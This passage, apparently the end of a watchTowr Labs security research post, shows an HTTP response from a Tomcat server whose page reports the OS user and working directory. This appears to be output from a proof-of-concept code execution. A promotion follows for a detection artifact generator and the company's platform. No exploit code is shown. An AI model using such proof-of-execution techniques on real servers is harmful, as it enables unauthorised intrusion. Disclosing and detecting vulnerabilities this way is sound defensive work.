Set-Cookie: JSESSIONID=F3BCBF9067A19B61E3AFD0B1ADA18D1D; Path=/; HttpOnly
Content-Type: text/html;charset=UTF-8
Content-Length: 300
Date: Wed, 03 Sep 2025 03:45:58 GMT


&lt;html&gt;
&lt;head&gt;
    &lt;title&gt;watchTowr System Info&lt;/title&gt;
&lt;/head&gt;
&lt;body&gt;
    <h1>System Information</h1>
    <p><strong>OS User:</strong> LOCAL SERVICE$</p>
    <p><strong>Current Working Directory:</strong> C:\\Program Files\\Apache Software Foundation\\Tomcat 9.0</p>
&lt;/body&gt;
&lt;/html&gt;

Detection Artifact Generator

That’s right. It’s time for yet another watchTowr Detection Artifact Generator tool!

The research published by watchTowr Labs is just a glimpse into what powers the watchTowr Platform – delivering automated, continuous testing against real attacker behaviour.

By combining Proactive Threat Intelligence and External Attack Surface Management into a single Preemptive Exposure Management capability, the watchTowr Platform helps organisations rapidly react to emerging threats – and gives them what matters most: time to respond.

Gain early access to our research, and understand your exposure, with the watchTowr Platform

REQUEST A DEMO

displaying 1 - 10 bundles in total 131